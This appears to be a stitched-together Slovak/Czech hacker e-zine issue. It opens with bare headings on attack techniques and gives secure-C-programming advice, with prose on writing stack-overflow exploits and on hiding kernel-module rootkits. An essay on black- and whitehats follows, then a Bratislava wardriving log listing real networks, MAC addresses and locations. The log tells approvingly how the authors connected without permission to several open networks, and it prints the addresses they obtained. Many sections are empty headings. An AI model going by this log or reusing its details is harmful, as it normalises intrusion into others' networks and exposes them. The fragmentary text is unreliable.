Heisenbug
Mandelbug
Schroeding Bug
Precedence loosage
Memory leak, Core leak (presakovanie pamate)
Deadlock
Utocnicke techniky
Exploit
Priklad
Suid program po spusteni dostane uid/gid vlastnika suboru. O tom ci je
alebo nieje program suid rozhoduje priznak suboru – suid bit.
Jedinou autentifikaciou je zvacsa len uid/gid uzivatela, ktory binarku spusta.
V pripade vyuzitia buffer overrunu na suid binarku hovorime o lokalnom utoku.
Priklad
Ochrana
Sniffinig
Priklad
Ochrana
Spoofing
Ochrana
ARP-poisoning
Ochrana
DNS-spoofing
Ochrana
DNS-poisoning
Ochrana
Ochrana
DDoS
Ochrana
Virusy
Ochrana
Cervy
Ochrana
Trojske kone
Ochrana
MiM attack
Ochrana
Cross site scripting
Ochrana
BindShell
Ochrana
Buffer Overflow
Ochrana
Heap Overflow – prepsani malloc()-okovane pameti
Ochrana
Format String Overflow
Ochrana
Enviroment PATH attack
Ochrana
Ochrana
Utok cez mena suborov
Ochrana
World/Group writable/readable subory
Ochrana
RootKit
Bordelizator
Ochrana
Password Cracking
Ochrana
Obmedzenie bezpecnostnych chyb pri programovani
Vyvojari definuju chybu (error) ako ludsky omyl pri navrhu a tvorbe programu. Vady (faults) su prejavy chyb,
ktore mozu viest k zlyhaniu (failure). Neuspech je odchylka od specifikacie programu. Zvycajne sa aj vady
oznacuju ako chyby (resp. bugs).
V programe mozu byt chyby ale nemusia nutne sposobit problem pokial sa neprejavia zlyhanim. Testovanie ma viest
k zlyhaniu pred tym ako sa program zacne pouzivat v ostrej prevadzke.
Chyby v programe vznikaju tym, ze niekto urobil chybu, ci uz z neznalosti, uponahlanosti, neopatrnosti alebo z ineho dovodu.
Vacsina unixoveho softwareu bola napisana bez detailnej specifikacie, preto sa casto stretavame s pojmom
“it’s not bug, it’s feature.”, ktory sa nas snazi presvedcit, ze “to nie je chyba, to je vymozenost”.
Program beziaci so superuzivatelskymi pravami by mal byt napisany tak bezpecne ako je to len mozne.
V najlepsom pripade je ihned po vykonani privilegovanej operacie (napr. po nabindovani na port <1024)
zahodit superuzivatelske privilegia a dalej bezat ako bezny uzivatel.
V pripade ze zlyha program beziaci s uid0, moze to viest k naruseniu celeho systemu.
Pri pisani programu treba mat v prvom rade jasny koncept, vediet presne ake budu vstupy a ake vystupy.
Specialne sa treba zamerat na vstupy, aby nemohli ziadnym sposobom ‘prekvapit’ nas program,
napr. necakanym formatovanim, velkostou a podobne.
Pred volanim systemovych funkcii je vhodne testovat parametre s ktorymi ich ideme volat.
Oplati sa preverit aj systemove premenne.
Funkciam, ktore nerobia kontrolu hranic pri praci s retazcami volitelnej dlzky sa treba vyhnut. Napriklad
toto su “nebezpecne” funkcie – gets(), strcpy(), strcat() a tu ich bezpecne verize – fgets(), strncpy(), strncat().
Nasledujucim funkciam treba riadne prekontrolovat vstupne parametre, pretoze ich spravnym nastavenim je mozne sposobit
preplnenie cieloveho buffra, pripadne interneho buffra s pevnou dlzkou – sprintf(), fscanf(), scanf(), sscanf(),
vsprintf(), realpath(), getopt(), getpass(), streadd(), strecpy(), strtrns().
Samozrejme v systeme sa moze nachadzat plno dalsich potencialne nebezpecnych funkcii, ich bezpecnost zavysi na tom
ako bezpecne sa pouziju. Pri pouziti funkcii je dobre si overit, ci beru do uvahy obmedzenie maximalnou dlzkou.
Vsimnite si tiez, ci v dokumentacii nieje uvedene, ze funkcia vracia pointer na nejaky staticky ulozny priestor.
Pri preplneni vstupu takehoto bufferu okamzite vznikne problem.
V Unixe mame z takmer kazdeho systemoveho volania navratovu hodnotu. Aj ked sme presvedceny, ze pouzite volanie
write(), chdir(), chown() nemoze zlyhat, treba ratat s tym, ze vo vynimocnych pripadoch sa to predsa len moze stat.
Utocnik/nahoda moze sposobit stav, ked systemove volanie zlyha a bez overenia navratoveho kodu sa o tom nedozvieme.
Je teda dobre kontrolovat premennu errno a v pripade ze sa nerovna 1 ale nejakej zapornej hodnote, je vhodne podat
o tom hlasenie a program ukoncit.
“Co si sam neurobis nemas” – tymto prislovim je dobre sa riadit aj pri programovani. Netreba sa spoliehat na
systemove premenne, ktore by mali byt defaultne nastavene, taktiez signaly, umask, aktualny adresar atd.
Pokial je to mozne, najefektivnejsi sposob ako vycistit systemove premenne je pouzit envp.
Pri programovani mozme pouzivat makro assert, ktore zaisti v pripade ze nejaka premenna neobsahuje hodnotu
z definovaneho intervalu prerusenie programu s chybovou hlaskou. Treba si tu ale dat pozor na heisenbugy.
Dobrou pomockou moze byt logovanie na vsetkych podstatnych miestach. V pripade ze sa ma logovat cez syslog
treba kontrolovat dlzku parametrov predavanych syslogu.
Pri kompilacii je dobre pouzit parameter -Wall, alebo aspon pred tym prebehnut zdrojaky lintom, ktory je
schopny najst zakladne chyby.
Casto sa stava ze programator nedostatocne kontroluje subory. Nasa aplikacia
totiz nieje jedina, ktora bezi a moze sa stat, ze ina pristupi k suboru po
tom co sme otestovali jeho spravnost a pred tym ako ideme s nim pracovat.
Preto je dobre nepouzivat postup access() a open(), ale radsej subor otvorit
a az potom fchown(), fchmod(), alebo fstat().
Nieje vhodne nechavat v programe moznost volania noveho shellu. V dnesnom
prostredi modernych unixov to uz nieje nutne. Rovnako sa treba vyvarovat
volani system() a popen().
Pri otvarani suborov je dobre pouzit priznaky O_EXCL|O_CREAT v pripade ze
subor nema existovat, resp O_CREAT ak uz existuje. Zaruci to spravne chybove
hlasenia.
Na testovanie ci sa jedna o subor, alebo odkaz mozme pouzit lstat(). Netreba
zabudnut, ze pokial je dany subor/linka vo verejne pristupnom adresari, moze
sa to zmenit.. Najlepsie je pracovat so subormi v adresaroch nepristupnych
pre ostatnych uzivatelov (samozrejme pokial je to mozne).
Ak potrebujete ukladat uzivatelske hesla na autentifikaciu uzivatelov,
ukladajte ich miesto plaintext formatu v kryptovanej podobe. Dnes je
najvyuzivanejsi MD5 hash, co nieje vlastne sifra, ale kontrolny sucet, ale
na nase ucely posluzi velmi dobre.
Tvorba sietovych aplikacii
Neodporuca sa pouzivat porty sluzieb “natvrdo”, ale cez volanie getservbyname().
Pisanie SUID/SGID programov
Nepiste ich. Vacsinou je to zbytocne. (UNIX System Security – Patrick H. Wood and Stephen G. Kochman, Hayden Books, 1985)
Nepiste SUID SHELL scripty.
Pokial chcete pouzit SUID program len pre pristup k nejakym suborom, skuste
pouzvazovat, ci by sa to nedalo vyriestit pomocou nastavenia GID jednotlivym
uzivatelom. Pripadne ci by nestacil SGID program. Ak uz musi byt SUID
vytvorte prenho specialneho uzivatela. Tiez je dobre obmedzit jeho spustanie
pomocou skupinovych prav.
Ak potrebujete aby program prevadzal len jednu konkretnu operaciu s uid0,
vytvorte k hlavnemu programu jeden jadnoucelovy maly, jednoduchy SUID
program, ktory bude svedomite kontrolovat vstup z hlavneho programu.
Vseobecne komunikacia hlavneho programu a tymto suidom musi byt co najdokonalejsia.
Program by mal po pouziti zvysenych privilegii ihned zrusit ich vplyv a
vratit sa k efektivnym a realnym UID a GID, ktory ten program spustil.
Nevytvarajte prilis mnoho konfiguracnych moznosti v SUID programe, zbytocne
sa tak zvysuje riziko chyby.
Pokial je to mozne, vymazte prostredie shellu a vytvorte nutne zaznamy sami.
Premennu PATH IFS je dobre nastavit na vychodziu hodnotu, napriklad:
putenv(“PATH=/bin:/usr/bin”);
putenv(“IFS= tn”);
Nasledne si overte, ci su tieto premenne nastavene korektne a ci sa v
systeme nenachadzaju aj dalsie zmienky o tychto premennych.
Ak chcete spustat z vasej aplikacie dalsie programy, pouzivajte len volania
execve(), exevc() a excl() a aj to s maximalnou opatrnostou.
Nepouzivajte volanie execlp() a execvp(), pretoze tie pouzivaju premennu PATH.
Ak by nahodou musel umoznovat spustanie shellu, pred vykonanim uzivatelskeho
prikazu nezabudnite na setgid(getid()) a setuid(getuid()).
Pri otvarani vsetkych suborov pouzivajte vzdy plne cesty. Nespoliehajte sa
na aktualnu cestu po spusteni.
Linkujte program staticky, vyhnete sa tak problemov s podvrhnutymi kniznicami.
Pouzitie funkcie chroot()
Zvysenu bezpecnost systemu mozte ziskat pomocou volania chroot().
Toto volanie nastavi pre sputeny proces zadany korenovy adresar. Tym sa
zamedzi pristupu do vyssich adresarov v stromovej strukture systemu.
V pripade ze vas program potrebuje zdielane kniznice, musite mu ich
nakopirovat do chrootovaneho prostredia, pripadne ho zkompilovat staticky.
Pred pouzitim chrootu treba mysliet na syslog a je dobre bud spusit
openlog(), alebo v chrootovanom prostredi vytvorit subor zariadenia /dev/log.
Je dobre si uvedomit, ze ani chroot nie je vseliek. Dostatocne znaly utocnik
sa moze vediet prebit aj z chrootu. Ztazit mu to mozete tak, ze chroote
nechate naozaj len prikazy a subory, ktore tam nutne musia byt.
Buffer Overflow
Priklad pretecenia buffra:
Shell kod
Ako sme si ukazali v predchadzajucom odstavci, manipulaciou dynamicky alokovanych premennych
pomocou neohranicenych byte-copy operacii mozme spustit lubovonly kod cez navratovu adresu,
ktora je ‘slepo’ obnovena zo zasobniku pri odchode z funkcie. Ak to aplikujeme na SUID ROOT
binarku, utocnik si moze nechat spustit /bin/sh s pravami superuzivatela a ziska tak kontrolu
nad celym systemom. Samozrejme moze pouzit aj iny shell, ale /bin/sh sa nachadza vo vsetkych
UNIXovych systemoch a je predvoleny shell pre uzivatela root.
1. V pamati sa vyskytuje nulou zakonceny string /bin/sh
Tento zoznam sa da zapisat do x86 shell kodu pomocou standartneho ANSI C znakoveho pola:
V predchadzajucom pripade sme mali pre jednoduchost predkompilovany shell kod ako
sucast programu. UNIXove SUID root aplikacie urcite nebudu obsahovat shell kod 🙂
Aby sme ich mohli exploitovat, potrebujeme najst sposob ako vlozit shell kod do prostredia
beziaceho programu. Mozme to spravit cez prikazovy riadok, premenne shelloveho prostredia,
alebo cez interaktivny vstup. Velmi dolezite je vediet kde v pamati sa potom bude shell kod
nachadzat, preto utocnici zvycajne vyplnaju shell kod s NULL argumentom (co v assembleri
znamena no-operation, cize procesor jednoducho skoci na dalsiu instrukciu v poradi) co im zaisti
sirsi priestor na ‘trafenie’ spravnej navratovej adresy. Takyto postup doplneny o kopec
navratovych adries na konci shell kodu je najcastejsie pouzivany pri vytvarani stack smashing
exploitov. V pripade ze obetou je maly program s obmedzenymi pametovymi narokmi, exploit sa
zvykne ulozit do premennej prostredia.
Pisanie exploitov vyuzivajucich preplnenie zasobnika
Zopakujme si rozlozenie zasobniku:
Priklad upravy x86 shell kodu:
Ziskanie realnej adresy zasobnika
Adresu ukazatela na zasobnik pred nastavenim lokalnych premennych a navratovej adresy
nazvyme OSP – Original Stack Pointer.
K OSP pridame taky offset, aby CPU skocilo niekde do bloku nasich
Tento priklad zapisal navratovu adresu osem krat do zasobnika, takze aj v pripade ze adresa zasobnika
nebola presne urcena mame vacsiu sancu ze sa trafime. Nutno poznamenat ze na architekturach
kde stack roste od nizssich adres k vyssim musime adresu odcitat, tj. get_sp()-offset;
Moduly jadra
Moduly jadra (Hovori sa im tiez Loadable Kernel Modules [LKM]) po zavedeni do kernelu bezia
s maximalnymi privilegiami a to v rezii kernelu. Preto musime zabezpecit, aby obycajny uzivatel
nemal moznost vlozit do jadra nejaky modul, alebo aby nemohol pozmenit moduly ulozene v systeme.
Najdokonalejsie maskovacie nastroje pouzivane utocnikmi pouzivaju prave jadra v module, aby skryli
vybrane adresare/subory, sietove spojenia, md5-checksumy a procesy. Tak isto existuju moduly,
ktore prave naopak monitoruju nekale cinnosti v systeme a v pripade podozrenia na utok informuju
administratora a pripadne pokus o utok zastavia.
Maskovanie spociva v modifikacii systemovych volani na ich upravenu verziu v nasom module.
Aby sme zmodifikovali systemove volanie, pridame definiciu extern void *sys_call_table[] do
naseho lkm a pomocou init_module() funckie zmenime zodpovedajucu polozku v sys_call_table,
aby ukazovala na nas vlastny kod. Tymto si zabezpecime plnu kontrolu nad danym systemovym volanim
a vsetky programy, ktore ho vyuzivaju tym budu ovplyvnene.
Je teda jasne, ze takymto zasahom do jadra systemu je velmi obtiazne najst utocnika a dostat
ho zo servra von. Preto je dobre sa branit uz prevenciou a zabezpecenim samotneho jadra. Prevencia
moze byt napriklad aj vypnutie pouzivania modulov pri kompilacii jadra. Zial nasli sa uz aj
taky ludia, ktory prisli na to, ako modifikovat systemove volania v jadre, ktore nepouziva LKM.
To je uz ale mimo ramec tohto dokumentu (vid. prielom, resp. phrack).
Samotny modul sa moze maskovat tak, ze pri vypise /proc/modules sa vynecha. Da sa to ale jednoducho
obist napriklad pouzitim prikazu dd – dd if=/proc/modules bs=1. Samozrejme existuje mnoho dalsich
sposobov, ktore su sice zlozitejsie, ale poskytuju sluzbu dokonalejsieho maskovania.
Prikladny modul mozete najst v prilohe. Pochadza z Phrack52. Jeho hlavne crty:
Moduly, resp upravy jadra sa daju vyuzit aj ako velmi silna ochrana systemu. Takyto modul moze
strazit pristupy k jednotlivym suborom a zariadeniam, moze sledovat zmenu
privilegii jednotlivych uzivatelov a procesov.
Pouzita literatura:
Historia Unixu
Popis programatorskych chyb
Popis stack smashingu
Pisanie stack overflow exploitov
Ing. Zdenek Vratil – Architektura PC na bazi Pentia [1994]
maniac, maniac(at)localhost.sk, odborna korektura by sd(at)hysteria.sk a wilder wilder(at)hq.alert.sk
navrat na obsah
ackoli to tak muze vypadat, kdepak, toto nema nic spolecneho s modou, i kdyz pojem
“blackhat” a “whitehat” se dnes stavaji modernimi a dostavaji se do podvedomi
verejnosti. ja se tady jenom pokusim ujasnit co presne to znamena a vubec provest
ctenare “politickou slozkou” security sceny, vezmeme si tady na paskal
nejznamejsi jmena a sjedem je jako politiky v nejakem bulvarnim platku, ostatne proc
taky ne, zaslouzi si to. (tak me napada muze byt prielom bulvarni platek ?)
na uvod co to tedy znamena, nalepkou “whitehat” se povetsinou oznacuji lidi co
security rozumi a nebo alespon delaji ze security rozumi (theo de raadt, ron dufresne …
;-), pisou security software, pripadne nalezene bugy v jinem softwaru okamzite
zverejnuji k velke a vseobecne radosti verejnosti. na druhe strane, blackhat je
nekdo kdo najde bug v nejakem softwaru, napise si na nej exploit a pouziva ho ke
vseobecne radosti sve. potud vsetko v poradku dokavad se nezacali dit _fakt_ spatne
veci se securityfocus, nasli se “security experti” jako iss (www.iss.net), o tom dale 😉 nuze
…
security firmy
remote shell bug v php (www.cert.org/advisories/CA-2002-21.html) – nalezen a uspesne exploitovan blackhat
slozkou skupiny
teso, nanestesti exploit byl leaknut script kiddo komunite, takze netrvalo dlouho a
spousta lidi “nasla” bug v php.
neni proto divu ze blackhat komunita (drtiva vetsina techto bugu pochazi prave
odsud) je na iss a jim podobne patricne nasrana, kdo by taky nebyl. iss si buduje
jmeno, postaveni a dokonce vydelava zavratne sumy na mnohdy mnohamesicni praci
nekoho jineho.
pr0j3kt m4yh3m
full disclosure
touto metodou se da naprosto zamezit dnesnimu script-kiddo ./hack-ovani. take by se
zlepsila dnesni situace na trhu it prace. muj jeden velmi dobry kamarad to skvele
definoval “kazda lopata dneska umi adminovat, tak to kde kdo rootne. no a pak si k
tomu sedne ta lopata ktera to rootla a jsme tam kde jsme byli”. je to tak, hackovani
je dneska hrozne yzy, pro kohokoli, staci si natukat packetstormsecurity.org,
stahnout par latest exploitiku a hura. drive si to kazdej musel nakodit sam – a
rozhodne to bylo lepsi.
konec
ja sem si tento fakt uvedomil asi pred rokem, od te doby jakoukoliv svoji tvorbu
(krome trivialnich veci jako treba wuimapd) nepublikuju (krome pratel kterym opravdu
verim), at uz jde o exploity, nebo nove verze jednoho dnes velice rozsireneho linux
kernel rootkitu, tot me oficialni tiskove prohlaseni ;-p
mnozi si asi ted mysli ze whitehats & blackhats jsou uhlavni nepratele, no, neni to
tak vzdycky. whitehats ktery sem v predchozim textu oznacoval jako “security
experty” jsou mineni spise jako iss a jim podobni, kdezto realni whitehats jsou
autori vecinou kvalitniho softwaru jako treba openwall, ids, lids, medusa,
grsecurity, napriklad ja jakozto autor nekolika rootkitu a spender, jeden z autoru
grsecurity se normalne bavime o security zalezitostech ktere nas zajimaji, tj.
security na kernelove urovni vymenujeme si tipy a nebo si delame naschvaly, von
treba vymysli nejakou techniku ochrany a ja mu ji do druhyho dne obejdu a tak. to je
imho krasna ukazka jak spoluprace mezi obema stranama muze bejt produktivni.
reference sem davat nebudu, kdo bude chtit at si je najde sam nebo at se me primo
zepta.
poznamka:
sd, sd(at)hysteria.sk
navrat na obsah
[1] – http://www.lucidic.net/whitepapers/manuzis-7-5-2002-1.html
[2] – http://user-mode-linux.sourceforge.net/
[3] – http://www.citi.umich.edu/u/provos/honeyd/
[4] – http://www.honeynet.org/
[5] – http://openbsd.org/errata.html#sshd
[6] – http://online.securityfocus.com/archive/82/78437
co ty na to ? board
problemy internetovej reklamy
co ty na to ? board
preco zmeni wifi tvar telekomov
preklad xalex, epoxid(at)pobox.sk, www.epoxid.sk
co ty na to ? board
wifi jazda po blave
linux kernel v2.4.20-rc2 (patchnuty na wireles extensions v15)
wireless tools v25
patchnuty orinoco modul v jadre v0.11
pcmcia-cs-3.2.1 s patchnutym orinoco driverom
airsnort v0.0.9
kismet v2.6.1
dstumbler (FreeBSD)
ethereal v0.9.5, with GTK+ 1.2.10, with GLib 1.2.10, with libpcap 0.7, with libz 1.1.4, with UCD SNMP 4.2.5
hunt v1.5
ngrep v1.40.1
nmap v3
tcpdump v3.7.1
netstumbler (WinXP)
dhcpcd v.1.3.22-pl1
epcs.c 😉
lokalita: bajkalska ulica, esso pumpa
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
tomas0 00:02:78:e2:00:31 8 samsung ap nie
bratislava 00:02:78:f3:b5:12 3 samsung ap ano
EuroWeb Bajkalska Centrum 00:60:1d:f0:b6:76 1 agere(lucent) wavelan ap nie
EWInchebaPristav 00:02:2d:3e:fe:95 4 agere(lucent) orinoco ap nie
EuroWeb Bajkalska East 00:60:1d:f6:7b:72 12 agere(lucent) wavelan ap nie
milnapal 00:90:4b:0b:5b:74 9 gemtek(d-link) ap ano
EuroWeb Bajkalska Omni 00:60:1d:04:06:4f 1 agere(lucent) wavelan ap nie
sibirska 00:90:4b:0d:ce:3f 13 gemtek(d-link) ap nie
textpalkov 00:90:4b:0b:5b:f6 4 gemtek(d-link) ap ano
waskol 00:90:4b:0e:cd:e7 3 gemtek(d-link) ap nie
--------------------------------------------------------------------------------
poznamka: mile je ze nam euroweb nazvy povedia presnu polohu, smerovanie a typ
anteny
lokalita: botanicka ulica, pri omv pumpe
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
borik 00:60:b3:16:66:0a 9 z-com ap nie
PRIFUKAP 00:02:78:e0:b3:90 5 samsung ap nie
--------------------------------------------------------------------------------
poznamky: borik vysielal niekde z oblasti fyzickeho kopca borik. PRIFUKAP je zjavne
siet prirodovedeckej fakulty uk.
lokalita: roh brnianska-jasenova
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
DMC-BA 00:02:2d:1f:7a:13 7 agere(lucent) orinoco ap nie
metror 00:60:b3:66:12:a6 8 z-com ap nie
--------------------------------------------------------------------------------
poznamka: na metror sme sa uspesne napichli. tu su udaje k spojeniu:
eth1 IEEE 802.11-DS ESSID:"metror" Nickname:"HERMES I"
Mode:Managed Frequency:2.447GHz Access Point: 00:60:B3:66:12:A6
Bit Rate:11Mb/s Tx-Power=15 dBm Sensitivity:1/3
Retry limit:4 RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off
Link Quality:21/92 Signal level:-74 dBm Noise level:-95 dBm
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:98
Tx excessive retries:374 Invalid misc:0 Missed beacon:0
eth1 Link encap:UNSPEC HWaaddr 00-02-2D-2E-BA-BE
inet addr:62.168.108.237 Bcast:62.255.255.255 Mask:255.255.255.0
UP BROADCAST RUNNING PROMISC MULTICAST MTU:1500 Metric:1
RX packets:21748 errors:6082 dropped:0 overruns:0 frame:6061
TX packets:5044 errors:206014 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:100
RX bytes:10429536 (9.9 Mb) TX bytes:718511 (701.6 Kb)
Interrupt:5 Base address:0x100
Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use Iface
62.168.108.0 0.0.0.0 255.255.255.0 U 0 0 0 eth1
127.0.0.0 0.0.0.0 255.0.0.0 U 0 0 0 lo
62.168.108.1 asi gw
62.168.108.2 nameserver a bezi tam nejaky icmp monitoring
62.168.108.140 a 62.168.108.238 aktivne hosty na sieti (WWW+m$ domena na 198.16.x.x)
lokalita: roh broskynova-mudronova
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
borik 00:60:b3:16:66:0a 9 z-com ap nie
finger 00:02:78:e1:10:36 9 samsung ap nie
Technologies 00:60:b3:4f:04:cc 13 z-com ap nie
EuroWeb Bajkalska Centrum 00:60:1d:f0:b6:76 1 agere(lucent) wavelan ap nie
dunaj1 00:02:78:e0:34:9d 1 samsung ap nie
--------------------------------------------------------------------------------
lokalita: cesta z koliby dole (take to otvorene miesto s fajn vyhladom na mesto)
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
1034 00:40:96:44:4e:4d 10 cisco (aironet) ap nie
b0de6a 00:40:96:38:3f:02 4 cisco (aironet) ap nie
b0de6a 00:40:96:34:85:80 4 cisco (aironet) ap nie
realnetpbly 4e:03:d5:00:e2:02 6 peer nie
waskol 00:90:4b:0e:cd:e7 3 gemtek (d-link) ap nie
vsesmer 00:02:78:e1:45:bc 3 samsung ap nie
fab30 00:30:4f:1c:2f:d9 1 ap nie
Effect Network 00:02:2d:4c:41:be 13 agere (lucent) orinoco ap nie
007SOU 00:02:78:e1:d3:f0 3 samsung ap nie
rainap 00:02:78:e0:34:af 3 samsung ap nie
default 00:60:b3:10:05:a0 13 z-com peer nie
realnetds3 00:40:96:58:43:01 1 cisco (aironet) ap nie
realnetdsds 56:01:c2:01:c7:01 9 peer nie
accessmelli 00:02:78:e1:45:ca 11 samsung ap nie
jan 00:60:b3:4f:08:69 3 z-com ap nie
racsz 02:02:65:3b:6c:3b 3 peer nie
txgrtomil 00:90:4b:0b:5b:ea 4 gemtek (d-link) ap ano
mgfh4ec5 00:00:f0:64:0a:e6 11 samsung peer nie
Backup34 00:10:e7:f5:54:07 7 breezenet ap ano
txsotoavi 00:90:4b:0b:5b:f0 5 gemtek (d-link) ap ano
TeleViaWireless2 00:60:1d:21:dd:a8 13 agere (lucent) wavelan ap nie
--------------------------------------------------------------------------------
poznamka: tak toto je miesto s najvacsou viditelnostou wifi sieti v bratislave.
tu sme chytali 2-3 siete aj volne na notebook bez anteny.
lokalita: na tej istej ceste z koliby, ale kusok nizsie
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
waskol 00:90:4b:0e:cd:e7 3 gemtek (d-link) ap nie
realnetpbly 4e:03:d5:00:e2:02 6 peer nie
b0de6a 00:40:96:34:85:80 4 cisco (aironet) ap nie
CASABLANCA_KOV3 02:02:2d:4f:15:b2 11 agere(lucent)orinoco peer ano
cdicon 00:02:78:e1:d4:2e 8 samsung ap nie
Backup34 00:10:e7:f5:54:07 7 breezenet ap ano
TeleViaWireless2 00:60:1d:21:dd:a8 13 agere (lucent) wavelan ap nie
1234 00:40:96:44:31:94 10 cisco (aironet) ap nie
racsz 02:02:65:3b:6c:3b 3 peer nie
default 00:60:b3:10:05:a0 13 z-com peer nie
00ABFF07 00:02:78:e1:d3:91 12 samsung ap nie
1034 00:40:96:44:2a:d3 10 cisco (aironet) ap nie
mgfh4ec5 00:00:f0:64:0a:e6 11 samsung ap nie
txgrtomil 00:90:4b:0b:5b:ea 4 gemtek (d-link) ap ano
metrom 00:60:b3:4f:1e:e4 12 z-com ap nie
blabla 00:60:b3:16:84:cf 3 z-com ap nie
postelap 00:02:78:e1:d3:bf 13 samsung ap nie
--------------------------------------------------------------------------------
poznamka: siet "metrom" nebola ojedinela, po celej blave sme nachadzali siete s
nazvom "metroX" ako metros, metror, metroc, atd. patriace nejakej firme Grid. na
metror sme sa pripojili pri savke, viz prislusna poznamka. na metros sme sa tiez
napichli, tu su udaje:
eth1 IEEE 802.11-DS ESSID:"metros" Nickname:"HERMES I"
Mode:Managed Frequency:2.432GHz Access Point: 00:60:B3:66:12:A5
Bit Rate:2Mb/s Tx-Power=15 dBm Sensitivity:1/3
Retry limit:4 RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off
Link Quality:8/92 Signal level:-89 dBm Noise level:-97 dBm
Rx invalid nwid:0 Rx invalid crypt:15 Rx invalid frag:6953
Tx excessive retries:35 Invalid misc:0 Missed beacon:0
eth1 Link encap:UNSPEC HWaddr 00-02-2D-2E-BA-BE
inet addr:63.112.169.6 Bcast:63.255.255.255 Mask:255.255.255.0
UP BROADCAST RUNNING PROMISC MULTICAST MTU:1500 Metric:1
RX packets:37965 errors:68168 dropped:0 overruns:0 frame:68167
TX packets:4495 errors:42 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:100
RX bytes:5044638 (4.8 Mb) TX bytes:625024 (610.3 Kb)
Interrupt:5 Base address:0x100
Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use Iface
63.112.169.0 0.0.0.0 255.255.255.0 U 0 0 0 eth1
127.0.0.0 0.0.0.0 255.0.0.0 U 0 0 0 lo
lokalita: dolnozemska pri pumpach slovnaft
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
DOM 00:90:4b:08:0b:86 1 gemtek (d-link) ap nie
hony 00:60:1d:03:6b:e1 3 agere (lucent) wavelan ap nie
--------------------------------------------------------------------------------
lokalita: drienova ulica oproti hotelu junior
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
govline 00:02:78:e0:34:82 6 samsung ap nie
norton_home 00:02:2d:0c:fa:fb 11 agere (lucent) orinoco ap ano
tomas0 00:02:78:e2:00:31 8 samsung ap nie
EuroWeb Bajkalska East 00:60:1d:f6:7b:72 12 agere(lucent) wavelan ap nie
EuroWeb Bajkalska Omni 00:60:1d:04:06:4f 1 agere(lucent) wavelan ap nie
realnetpbly 4e:03:d5:00:e2:02 6 peer nie
--------------------------------------------------------------------------------
poznamka: na drienovej sme cakali kusok viac, kedze tu sidli zopar pocitacovych
firiem a nejake to ministerstvo. chytili sme akurat silne anteny z bajkalskej.
lokalita: drotarska cesta - mozartova ulica
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
CDkramareAP 00:02:78:e1:ff:f2 3 samsung ap nie
martineg 00:02:78:e1:10:23 1 samsung ap nie
EUnet STV Omni 00:60:1d:f6:7c:2d 9 agere (lucent) wavelan ap nie
vlado3 96:57:4d:00:00:00 10 peer nie
duran1 00:a0:c5:42:ef:6c 6 ap nie
--------------------------------------------------------------------------------
poznamka: eunet omni antenu z vyskovej budovy stv sme chytali strasne daleko. nech
ma slaktrafi ak touto antenou eunet neporusuje maximalne normy. raz nam budu na
hlavach kvitnut karfioly z toho co nam teraz lieta v eteri.
lokalita: drotarska cesta - prvosienkova ulica
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
duran1 00:a0:c5:42:ef:6c 6 ap nie
IUVENTA 00:30:4f:1c:24:8f 11 ap ano
--------------------------------------------------------------------------------
lokalita: stare grunty - jebacie miesto hore za elamom
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
sturak 02:02:2d:0e:89:97 9 agere(lucent)orinoco peer ano
BORISDOM 00:60:b3:4f:08:60 11 z-com ap nie
BORISDOM 00:60:b3:4f:00:36 11 z-com ap nie
EUnet STV Omni 00:60:1d:f6:7c:2d 9 agere (lucent) wavelan ap nie
vran 00:90:4b:0b:5c:a5 6 gemtek (d-link) ap ano
freeehr 00:02:78:e0:34:ba 8 samsung ap nie
borik 00:60:b3:16:66:0a 9 z-com ap nie
efca 00:90:4b:0b:5c:5f 11 gemtek (d-link) ap ano
--------------------------------------------------------------------------------
lokalita: stare grunty pri manzelakoch so smerovou antenou smerom na sturak
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
hotspot 00:90:0e:00:25:33 6 ap nie
vlado3 96:57:4d:00:00:00 10 peer nie
homeoffice 00:02:2d:30:5b:60 11 agere(lucent)orinoco ap ano
sturak 02:02:2d:0e:89:97 9 agere(lucent)orinoco peer ano
12121212 22:00:e4:02:f4:02 3 peer nie
18181818 a6:01:7d:00:94:03 11 peer nie
My Network 00:60:b3:16:c0:b3 1 z-com ap nie
EUnet STV Omni 00:60:1d:f6:7c:2d 9 agere (lucent) wavelan ap nie
--------------------------------------------------------------------------------
poznamky: na hotspot sme sa chytili smerovou antenou a rovno sme dostali dhcp ip
adresu. gw bol 192.168.1.1. zjavne by sme nasli aj nejaky proxy von, ale ponahlali
sme sa prec a na druhy den sme sa nemohli na to pripojit.. bol slaby signal.
lokalita: hodzovo namestie
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
wli_004 00:90:4b:0b:5b:9b 5 gemtek (d-link) ap nie
omega 00:90:4b:0b:5b:51 13 gemtek (d-link) ap ano
--------------------------------------------------------------------------------
lokalita: horsky park, pri pivarni horsky park
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
6044 00:40:96:56:f7:20 13 cisco (aironet) ap nie
1234 00:40:96:44:31:94 10 cisco (aironet) ap nie
5022 00:40:96:3a:54:07 13 cisco (aironet) ap nie
metros 00:60:b3:66:12:a5 5 z-com ap nie
metrom 00:60:b3:4f:1e:e4 12 z-com ap nie
paleo1 00:60:b3:16:63:f5 13 z-com ap nie
matrix 00:60:b3:16:63:ef 9 z-com ap nie
--------------------------------------------------------------------------------
poznamka: nemali sme pri sebe blue-pill na vystupenie z matrixu. na paleo1 behalo
velke mnozstvo http trafficu.
lokalita: hotel danube
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
